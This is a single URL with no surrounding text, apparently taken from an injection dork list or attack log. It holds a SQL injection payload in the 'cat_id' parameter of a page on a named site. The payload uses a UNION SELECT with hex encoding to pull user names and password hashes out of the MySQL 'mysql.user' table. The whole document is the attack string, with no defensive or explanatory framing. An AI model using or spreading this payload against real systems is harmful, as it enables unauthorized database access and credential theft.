http://rfe.org/showCat.php?cat_id=-2+union+select+1,unhex(hex(concat_ws(0x3a,user,pas sword))),3,4,5,6,7,8+from+mysql.user/*